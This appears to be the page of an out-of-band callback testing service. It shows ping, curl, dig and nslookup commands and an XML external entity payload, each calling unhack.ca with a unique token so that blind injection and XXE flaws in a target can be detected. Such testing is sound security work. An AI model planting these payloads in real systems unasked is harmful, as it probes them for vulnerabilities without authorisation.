$ ping -c1 -p 002427c7238079a4a4061d0bb44cfb00 unhack.ca
 
$ curl http://unhack.ca/p/2427c7238079a4a4061d0bb44cfb
 
$ dig 2427c7238079a4a4061d0bb44cfb @unhack.ca
 
$ dig 2427c7238079a4a4061d0bb44cfb.ns.unhack.ca
 
C:\> nslookup 2427c7238079a4a4061d0bb44cfb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2427c7238079a4a4061d0bb44cfb">]>
    <foo>&xxe;</foo>
Waiting for ping...